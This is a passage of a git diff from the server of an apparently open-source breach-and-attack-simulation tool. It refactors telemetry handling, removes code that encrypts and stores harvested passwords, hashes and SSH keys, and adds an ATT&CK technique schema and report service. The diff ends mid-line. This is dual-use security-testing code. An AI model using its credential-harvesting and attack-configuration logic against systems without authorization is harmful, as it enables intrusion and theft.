__init__(self): + self.report_generating_lock = threading.Event() def get(self, action=None): if not action: action = request.args.get('action') if not action: - return Root.get_server_info() + return self.get_server_info() elif action == "reset": - return Root.reset_db() + return jwt_required()(Database.reset_db)() elif action == "killall": return Root.kill_all() elif action == "is-up": @@ -34,21 +38,12 @@ class Root(flask_restful.Resource): else: return make_response(400, {'error': 'unknown action'}) - @staticmethod @jwt_required() - def get_server_info(): - return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), - completed_steps=Root.get_completed_steps()) - - @staticmethod - @jwt_required() - def reset_db(): - remove_PBA_files() - # We can't drop system collections. - [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] - ConfigService.init_config() - logger.info('DB was reset') - return jsonify(status='OK') + def get_server_info(self): + return jsonify( + ip_addresses=local_ip_addresses(), + mongo=str(mongo.db), + completed_steps=self.get_completed_steps()) @staticmethod @jwt_required() @@ -59,15 +54,22 @@ class Root(flask_restful.Resource): logger.info('Kill all monkeys was called') return jsonify(status='OK') - @staticmethod @jwt_required() - def get_completed_steps(): + def get_completed_steps(self): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() - if not infection_done: - report_done = False - else: - if is_any_exists: - ReportService.get_report() + + if infection_done: + # Checking is_report_being_generated here, because we don't want to wait to generate a report; rather, + # we want to skip and reply. + if not is_report_being_generated() and not ReportService.is_latest_report_exists(): + safe_generate_reports() report_done = ReportService.is_report_generated() - return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) + else: # Infection is not done + report_done = False + + return dict( + run_server=True, + run_monkey=is_any_exists, + infection_done=infection_done, + report_done=report_done) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 04a6ddbd1..dc6a7d512 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -1,6 +1,5 @@ import json import logging -import copy from datetime import datetime import dateutil @@ -9,16 +8,12 @@ from flask import request from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo -from monkey_island.cc.services import mimikatz_utils -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.encryptor import encryptor -from monkey_island.cc.services.wmi_handler import WMIHandler +from monkey_island.cc.services.telemetry.processing.processing import process_telemetry +from monkey_island.cc.models.monkey import Monkey __author__ = 'Barak' - logger = logging.getLogger(__name__) @@ -26,7 +21,7 @@ class Telemetry(flask_restful.Resource): @jwt_required() def get(self, **kw): monkey_guid = request.args.get('monkey_guid') - telem_type = request.args.get('telem_type') + telem_category = request.args.get('telem_category') timestamp = request.args.get('timestamp') if "null" == timestamp: # special case to avoid ugly JS code... timestamp = None @@ -36,8 +31,8 @@ class Telemetry(flask_restful.Resource): if monkey_guid: find_filter["monkey_guid"] = {'$eq': monkey_guid} - if telem_type: - find_filter["telem_type"] = {'$eq': telem_type} + if telem_category: + find_filter["telem_category"] = {'$eq': telem_category} if timestamp: find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)} @@ -48,18 +43,15 @@ class Telemetry(flask_restful.Resource): def post(self): telemetry_json = json.loads(request.data) telemetry_json['timestamp'] = datetime.now() + telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} + + # Monkey communicated, so it's alive. Update the TTL. + Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl() monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.update_monkey_modify_time(monkey["_id"]) - try: - NodeService.update_monkey_modify_time(monkey["_id"]) - telem_type = telemetry_json.get('telem_type') - if telem_type in TELEM_PROCESS_DICT: - TELEM_PROCESS_DICT[telem_type](telemetry_json) - else: - logger.info('Got unknown type of telemetry: %s' % telem_type) - except Exception as ex: - logger.error("Exception caught while processing telemetry", exc_info=True) + process_telemetry(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json) return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) @@ -79,197 +71,10 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x['telem_type'] == 'system_info_collection' and 'credentials' in x['data']: + if x['telem_category'] == 'system_info' and 'credentials' in x['data']: for user in x['data']['credentials']: if -1 != user.find(','): new_user = user.replace(',', '.') x['data']['credentials'][new_user] = x['data']['credentials'].pop(user) return objects - - @staticmethod - def get_edge_by_scan_or_exploit_telemetry(telemetry_json): - dst_ip = telemetry_json['data']['machine']['ip_addr'] - dst_domain_name = telemetry_json['data']['machine']['domain_name'] - src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - dst_node = NodeService.get_monkey_by_ip(dst_ip) - if dst_node is None: - dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) - - return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) - - @staticmethod - def process_tunnel_telemetry(telemetry_json): - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] - if telemetry_json['data']['proxy'] is not None: - tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") - NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) - else: - NodeService.unset_all_monkey_tunnels(monkey_id) - - @staticmethod - def process_state_telemetry(telemetry_json): - monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - if telemetry_json['data']['done']: - NodeService.set_monkey_dead(monkey, True) - else: - NodeService.set_monkey_dead(monkey, False) - - @staticmethod - def process_exploit_telemetry(telemetry_json): - edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) - Telemetry.encrypt_exploit_creds(telemetry_json) - - new_exploit = copy.deepcopy(telemetry_json['data']) - - new_exploit.pop('machine') - new_exploit['timestamp'] = telemetry_json['timestamp'] - - mongo.db.edge.update( - {'_id': edge['_id']}, - {'$push': {'exploits': new_exploit}} - ) - if new_exploit['result']: - EdgeService.set_edge_exploited(edge) - - for attempt in telemetry_json['data']['attempts']: - if attempt['result']: - found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: - if len(attempt[field]) != 0: - found_creds[field] = attempt[field] - NodeService.add_credentials_to_node(edge['to'], found_creds) - - @staticmethod - def process_scan_telemetry(telemetry_json): - edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) - data = copy.deepcopy(telemetry_json['data']['machine']) - ip_address = data.pop("ip_addr") - domain_name = data.pop("domain_name") - new_scan = \ - { - "timestamp": telemetry_json["timestamp"], - "data": data - } - mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$push": {"scans": new_scan}, - "$set": {"ip_address": ip_address, 'domain_name': domain_name}} - ) - - node = mongo.db.node.find_one({"_id": edge["to"]}) - if node is not None: - scan_os = new_scan["data"]["os"] - if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) - if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) - - @staticmethod - def process_system_info_telemetry(telemetry_json): - users_secrets = {} - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') - if 'ssh_info' in telemetry_json['data']: - ssh_info = telemetry_json['data']['ssh_info'] - Telemetry.encrypt_system_info_ssh_keys(ssh_info) - if telemetry_json['data']['network_info']['networks']: - # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry - Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) - Telemetry.add_system_info_ssh_keys_to_config(ssh_info) - if 'credentials' in telemetry_json['data']: - creds = telemetry_json['data']['credentials'] - Telemetry.encrypt_system_info_creds(creds) - Telemetry.add_system_info_creds_to_config(creds) - Telemetry.replace_user_dot_with_comma(creds) - if 'mimikatz' in telemetry_json['data']: - users_secrets = mimikatz_utils.MimikatzSecrets.\ - extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) - if 'wmi' in telemetry_json['data']: - wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) - wmi_handler.process_and_handle_wmi_info() - if 'aws' in telemetry_json['data']: - if 'instance_id' in telemetry_json['data']['aws']: - mongo.db.monkey.update_one({'_id': monkey_id}, - {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) - - @staticmethod - def add_ip_to_ssh_keys(ip, ssh_info): - for key in ssh_info: - key['ip'] = ip['addr'] - - @staticmethod - def process_trace_telemetry(telemetry_json): - # Nothing to do - return - - @staticmethod - def replace_user_dot_with_comma(creds): - for user in creds: - if -1 != user.find('.'): - new_user = user.replace('.', ',') - creds[new_user] = creds.pop(user) - - @staticmethod - def encrypt_system_info_creds(creds): - for user in creds: - for field in ['password', 'lm_hash', 'ntlm_hash']: - if field in creds[user]: - # this encoding is because we might run into passwords which are not pure ASCII - creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - - @staticmethod - def encrypt_system_info_ssh_keys(ssh_info): - for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: - if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) - - @staticmethod - def add_system_info_creds_to_config(creds): - for user in creds: - ConfigService.creds_add_username(user) - if 'password' in creds[user]: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user]: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user]: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) - - @staticmethod - def add_system_info_ssh_keys_to_config(ssh_info): - for user in ssh_info: - ConfigService.creds_add_username(user['name']) - # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) - - @staticmethod - def encrypt_exploit_creds(telemetry_json): - attempts = telemetry_json['data']['attempts'] - for i in range(len(attempts)): - for field in ['password', 'lm_hash', 'ntlm_hash']: - credential = attempts[i][field] - if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential.encode('utf-8')) - - @staticmethod - def process_post_breach_telemetry(telemetry_json): - mongo.db.monkey.update( - {'guid': telemetry_json['monkey_guid']}, - {'$push': {'pba_results': telemetry_json['data']}}) - -TELEM_PROCESS_DICT = \ - { - 'tunnel': Telemetry.process_tunnel_telemetry, - 'state': Telemetry.process_state_telemetry, - 'exploit': Telemetry.process_exploit_telemetry, - 'scan': Telemetry.process_scan_telemetry, - 'system_info_collection': Telemetry.process_system_info_telemetry, - 'trace': Telemetry.process_trace_telemetry, - 'post_breach': Telemetry.process_post_breach_telemetry - } diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 01fdcc51c..5194361af 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -1,3 +1,4 @@ +import logging from datetime import datetime import dateutil @@ -9,6 +10,8 @@ from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeService +logger = logging.getLogger(__name__) + __author__ = 'itay.mizeretz' @@ -23,11 +26,15 @@ class TelemetryFeed(flask_restful.Resource): telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) - return \ - { - 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries], - 'timestamp': datetime.now().isoformat() - } + try: + return \ + { + 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries if TelemetryFeed], + 'timestamp': datetime.now().isoformat() + } + except KeyError as err: + logger.error("Failed parsing telemetries. Error: {0}.".format(err.message)) + return {'telemetries': [], 'timestamp': datetime.now().isoformat()} @staticmethod def get_displayed_telemetry(telem): @@ -38,9 +45,18 @@ class TelemetryFeed(flask_restful.Resource): 'id': telem['_id'], 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname, - 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem) + 'brief': TelemetryFeed.get_telem_brief(telem) } + @staticmethod + def get_telem_brief(telem): + telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category(telem['telem_category']) + return telem_brief_parser(telem) + + @staticmethod + def get_telem_brief_parser_by_category(telem_category): + return TELEM_PROCESS_DICT[telem_category] + @staticmethod def get_tunnel_telem_brief(telem): tunnel = telem['data']['proxy'] @@ -78,13 +94,17 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_trace_telem_brief(telem): - return 'Monkey reached max depth.' + return 'Trace: %s' % telem['data']['msg'] @staticmethod def get_post_breach_telem_brief(telem): - return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], - telem['data']['hostname'], - telem['data']['ip']) + return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'], + telem['data']['hostname'], + telem['data']['ip']) + + @staticmethod + def should_show_brief(telem): + return telem['telem_category'] in TELEM_PROCESS_DICT TELEM_PROCESS_DICT = \ @@ -93,7 +113,7 @@ TELEM_PROCESS_DICT = \ 'state': TelemetryFeed.get_state_telem_brief, 'exploit': TelemetryFeed.get_exploit_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief, - 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, + 'system_info': TelemetryFeed.get_systeminfo_telem_brief, 'trace': TelemetryFeed.get_trace_telem_brief, 'post_breach': TelemetryFeed.get_post_breach_telem_brief } diff --git a/monkey/monkey_island/cc/resources/test/__init__.py b/monkey/monkey_island/cc/resources/test/__init__.py new file mode 100644 index 000000000..28550f830 --- /dev/null +++ b/monkey/monkey_island/cc/resources/test/__init__.py @@ -0,0 +1,4 @@ +""" +This package contains resources used by blackbox tests +to analize test results, download logs and so on. +""" diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py new file mode 100644 index 000000000..e592e7214 --- /dev/null +++ b/monkey/monkey_island/cc/resources/test/log_test.py @@ -0,0 +1,18 @@ +from bson import json_util +import flask_restful +from flask import request + + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.database import mongo, database + + +class LogTest(flask_restful.Resource): + @jwt_required() + def get(self): + find_query = json_util.loads(request.args.get('find_query')) + log = mongo.db.log.find_one(find_query) + if not log: + return {'results': None} + log_file = database.gridfs.get(log['file_id']) + return {'results': log_file.read()} diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/test/monkey_test.py new file mode 100644 index 000000000..100624780 --- /dev/null +++ b/monkey/monkey_island/cc/resources/test/monkey_test.py @@ -0,0 +1,13 @@ +from bson import json_util +import flask_restful +from flask import request + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.database import mongo + + +class MonkeyTest(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + find_query = json_util.loads(request.args.get('find_query')) + return {'results': list(mongo.db.monkey.find(find_query))} diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py new file mode 100644 index 000000000..60df09d88 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -0,0 +1,175 @@ +import logging +from dpath import util +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.attack_schema import SCHEMA +from monkey_island.cc.services.config import ConfigService + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +class AttackConfig(object): + def __init__(self): + pass + + @staticmethod + def get_config(): + config = mongo.db.attack.find_one({'name': 'newconfig'}) + return config + + @staticmethod + def get_technique(technique_id): + """ + Gets technique by id + :param technique_id: E.g. T1210 + :return: Technique object or None if technique is not found + """ + attack_config = AttackConfig.get_config() + for key, attack_type in attack_config['properties'].items(): + for key, technique in attack_type['properties'].items(): + if key == technique_id: + return technique + return None + + @staticmethod + def get_config_schema(): + return SCHEMA + + @staticmethod + def reset_config(): + AttackConfig.update_config(SCHEMA) + + @staticmethod + def update_config(config_json): + mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + return True + + @staticmethod + def apply_to_monkey_config(): + """ + Applies ATT&CK matrix to the monkey configuration + :return: + """ + attack_techniques = AttackConfig.get_technique_values() + monkey_config = ConfigService.get_config(False, True, True) + monkey_schema = ConfigService.get_config_schema() + AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema) + AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema) + ConfigService.update_config(monkey_config, True) + + @staticmethod + def set_arrays(attack_techniques, monkey_config, monkey_schema): + """ + Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema + """ + for key, definition in monkey_schema['definitions'].items(): + for array_field in definition['anyOf']: + # Check if current array field has attack_techniques assigned to it + if 'attack_techniques' in array_field and array_field['attack_techniques']: + should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'], + attack_techniques) + # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA + AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove) + + @staticmethod + def set_booleans(attack_techniques, monkey_config, monkey_schema): + """ + Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema + """ + for key, value in monkey_schema['properties'].items(): + AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config) + + @staticmethod + def r_set_booleans(path, value, attack_techniques, monkey_config): + """ + Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them + according to ATT&CK matrix. + :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param value: Value of config property + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + """ + if isinstance(value, dict): + dictionary = {} + # If 'value' is a boolean value that should be set: + if 'type' in value and value['type'] == 'boolean' \ + and 'attack_techniques' in value and value['attack_techniques']: + AttackConfig.set_bool_conf_val(path, + AttackConfig.should_enable_field(value['attack_techniques'], + attack_techniques), + monkey_config) + # If 'value' is dict, we go over each of it's fields to search for booleans + elif 'properties' in value: + dictionary = value['properties'] + else: + dictionary = value + for key, item in dictionary.items(): + path.append(key) + AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config) + # Method enumerated everything in current path, goes back a level. + del path[-1] + + @staticmethod + def set_bool_conf_val(path, val, monkey_config): + """ + Changes monkey's configuration by setting one of its boolean fields value + :param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param val: Boolean + :param monkey_config: Monkey's configuration + """ + util.set(monkey_config, '/'.join(path), val) + + @staticmethod + def should_enable_field(field_techniques, users_techniques): + """ + Determines whether a single config field should be enabled or not. + :param field_techniques: ATT&CK techniques that field uses + :param users_techniques: ATT&CK techniques that user chose + :return: True, if user enabled all techniques used by the field, false otherwise + """ + for technique in field_techniques: + try: + if not users_techniques[technique]: + return False + except KeyError: + logger.error("Attack technique %s is defined in schema, but not implemented." % technique) + return True + + @staticmethod + def r_alter_array(config_value, array_name, field, remove=True): + """ + Recursively searches config (DFS) for array and removes/adds a field. + :param config_value: Some object/value from config + :param array_name: Name of array this method should search + :param field: Field in array that this method should add/remove + :param remove: Removes field from array if true, adds it if false + """ + if isinstance(config_value, dict): + if array_name in config_value and isinstance(config_value[array_name], list): + if remove and field in config_value[array_name]: + config_value[array_name].remove(field) + elif not remove and field not in config_value[array_name]: + config_value[array_name].append(field) + else: + for prop in config_value.items(): + AttackConfig.r_alter_array(prop[1], array_name, field, remove) + + @staticmethod + def get_technique_values(): + """ + Parses ATT&CK config into a dict of techniques and corresponding values. + :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...} + """ + attack_config = AttackConfig.get_config() + techniques = {} + for type_name, attack_type in attack_config['properties'].items(): + for key, technique in attack_type['properties'].items(): + techniques[key] = technique['value'] + return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py new file mode 100644 index 000000000..c7457c2f6 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -0,0 +1,102 @@ +import logging + +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 +from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064 +from monkey_island.cc.services.attack.attack_config import AttackConfig +from monkey_island.cc.database import mongo +from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report + +__author__ = "VakarisZ" + + +LOG = logging.getLogger(__name__) + +TECHNIQUES = {'T1210': T1210.T1210, + 'T1197': T1197.T1197, + 'T1110': T1110.T1110, + 'T1075': T1075.T1075, + 'T1003': T1003.T1003, + 'T1059': T1059.T1059, + 'T1086': T1086.T1086, + 'T1082': T1082.T1082, + 'T1145': T1145.T1145, + 'T1065': T1065.T1065, + 'T1105': T1105.T1105, + 'T1035': T1035.T1035, + 'T1129': T1129.T1129, + 'T1106': T1106.T1106, + 'T1107': T1107.T1107, + 'T1188': T1188.T1188, + 'T1090': T1090.T1090, + 'T1041': T1041.T1041, + 'T1222': T1222.T1222, + 'T1005': T1005.T1005, + 'T1018': T1018.T1018, + 'T1016': T1016.T1016, + 'T1021': T1021.T1021, + 'T1064': T1064.T1064 + } + +REPORT_NAME = 'new_report' + + +class AttackReportService: + def __init__(self): + pass + + @staticmethod + def generate_new_report(): + """ + Generates new report based on telemetries, replaces old report in db with new one. + :return: Report object + """ + report =\ + { + 'techniques': {}, + 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, + 'name': REPORT_NAME + } + + for tech_id, value in AttackConfig.get_technique_values().items(): + if value: + try: + report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()}) + except KeyError as e: + LOG.error("Attack technique does not have it's report component added " + "to attack report service. %s" % e) + mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) + return report + + @staticmethod + def get_latest_attack_telem_time(): + """ + Gets timestamp of latest attack telem + :return: timestamp of latest attack telem + """ + return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0] + + @staticmethod + def get_latest_report(): + """ + Gets latest report (by retrieving it from db or generating a new one). + :return: report dict. + """ + if AttackReportService.is_report_generated(): + monkey_modifytime = Monkey.get_latest_modifytime() + latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) + report_modifytime = latest_report['meta']['latest_monkey_modifytime'] + if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: + return latest_report + + return safe_generate_attack_report() + + @staticmethod + def is_report_generated(): + """ + Checks if report is generated + :return: True if report exists, False otherwise + """ + generated_report = mongo.db.attack_report.find_one({}) + return generated_report is not None diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py new file mode 100644 index 000000000..c107de7c5 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -0,0 +1,262 @@ +SCHEMA = { + "title": "ATT&CK configuration", + "type": "object", + "properties": { + "lateral_movement": { + "title": "Lateral movement", + "type": "object", + "properties": { + "T1210": { + "title": "T1210 Exploitation of Remote services", + "type": "bool", + "value": True, + "necessary": False, + "description": "Exploitation of a software vulnerability occurs when an adversary " + "takes advantage of a programming error in a program, service, or within the " + "operating system software or kernel itself to execute adversary-controlled code." + }, + "T1075": { + "title": "T1075 Pass the hash", + "type": "bool", + "value": True, + "necessary": False, + "description": "Pass the hash (PtH) is a method of authenticating as a user without " + "having access to the user's cleartext password." + }, + "T1105": { + "title": "T1105 Remote file copy", + "type": "bool", + "value": True, + "necessary": True, + "description": "Files may be copied from one system to another to stage " + "adversary tools or other files over the course of an operation." + }, + "T1021": { + "title": "T1021 Remote services", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1110"], + "description": "An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections." + } + } + }, + "credential_access": { + "title": "Credential access", + "type": "object", + "properties": { + "T1110": { + "title": "T1110 Brute force", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may use brute force techniques to attempt access to accounts " + "when passwords are unknown or when password hashes are obtained.", + "depends_on": ["T1210", "T1021"] + }, + "T1003": { + "title": "T1003 Credential dumping", + "type": "bool", + "value": True, + "necessary": False, + "description": "Mapped with T1078 Valid Accounts because both techniques require" + " same credential harvesting modules. " + "Credential dumping is the process of obtaining account login and password " + "information, normally in the form of a hash or a clear text password, " + "from the operating system and software.", + "depends_on": ["T1078"] + }, + "T1145": { + "title": "T1145 Private keys", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may gather private keys from compromised systems for use in " + "authenticating to Remote Services like SSH or for use in decrypting " + "other collected files such as email.", + "depends_on": ["T1110", "T1210"] + } + } + }, + "defence_evasion": { + "title": "Defence evasion", + "type": "object", + "properties": { + "T1197": { + "title": "T1197 BITS jobs", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may abuse BITS to download, execute, " + "and even clean up after running malicious code." + }, + "T1107": { + "title": "T1107 File Deletion", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may remove files over the course of an intrusion " + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process." + }, + "T1222": { + "title": "T1222 File permissions modification", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." + } + } + }, + "execution": { + "title": "Execution", + "type": "object", + "properties": { + "T1035": { + "title": "T1035 Service execution", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may execute a binary, command, or script via a method " + "that interacts with Windows services, such as the Service Control Manager.", + "depends_on": ["T1210"] + }, + "T1129": { + "title": "T1129 Execution through module load", + "type": "bool", + "value": True, + "necessary": False, + "description": "The Windows module loader can be instructed to load DLLs from arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) network paths.", + "depends_on": ["T1078", "T1003"] + }, + "T1106": { + "title": "T1106 Execution through API", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversary tools may directly use the Windows application " + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"] + }, + "T1059": { + "title": "T1059 Command line interface", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use command-line interfaces to interact with systems " + "and execute other software during the course of an operation.", + }, + "T1086": { + "title": "T1086 Powershell", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries can use PowerShell to perform a number of actions," + " including discovery of information and execution of code.", + }, + "T1064": { + "title": "T1064 Scripting", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", + } + } + }, + "discovery": { + "title": "Discovery", + "type": "object", + "properties": { + "T1082": { + "title": "T1082 System information discovery", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1016", "T1005"], + "description": "An adversary may attempt to get detailed information about the " + "operating system and hardware, including version, patches, hotfixes, " + "service packs, and architecture." + }, + "T1018": { + "title": "T1018 Remote System Discovery", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " + "hostname, or other logical identifier on a network for lateral movement." + }, + "T1016": { + "title": "T1016 System network configuration discovery", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1005", "T1082"], + "description": "Adversaries will likely look for details about the network configuration " + "and settings of systems they access or through information discovery" + " of remote systems." + } + } + }, + "collection": { + "title": "Collection", + "type": "object", + "properties": { + "T1005": { + "title": "T1005 Data from local system", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1016", "T1082"], + "description": "Sensitive data can be collected from local system sources, such as the file system " + "or databases of information residing on the system prior to Exfiltration." + } + } + }, + "command_and_control": { + "title": "Command and Control", + "type": "object", + "properties": { + "T1065": { + "title": "T1065 Uncommonly used port", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may conduct C2 communications over a non-standard " + "port to bypass proxies and firewalls that have been improperly configured." + }, + "T1090": { + "title": "T1090 Connection proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "A connection proxy is used to direct network traffic between systems " + "or act as an intermediary for network communications." + }, + "T1188": { + "title": "T1188 Multi-hop proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "To disguise the source of malicious traffic, " + "adversaries may chain together multiple proxies." + } + } + }, + "exfiltration": { + "title": "Exfiltration", + "type": "object", + "properties": { + "T1041": { + "title": "T1041 Exfiltration Over Command and Control Channel", + "type": "bool", + "value": True, + "necessary": True, + "description": "Data exfiltration is performed over the Command and Control channel." + } + } + } + } +} diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py deleted file mode 100644 index a4e219270..000000000 --- a/monkey/monkey_island/cc/services/attack/attack_telem.py +++ /dev/null @@ -1,19 +0,0 @@ -""" -File that contains ATT&CK telemetry storing/retrieving logic -""" -import logging -from monkey_island.cc.database import mongo - -__author__ = "VakarisZ" - -logger = logging.getLogger(__name__) - - -def set_results(technique, data): - """ - Adds ATT&CK technique results(telemetry) to the database - :param technique: technique ID string e.g. 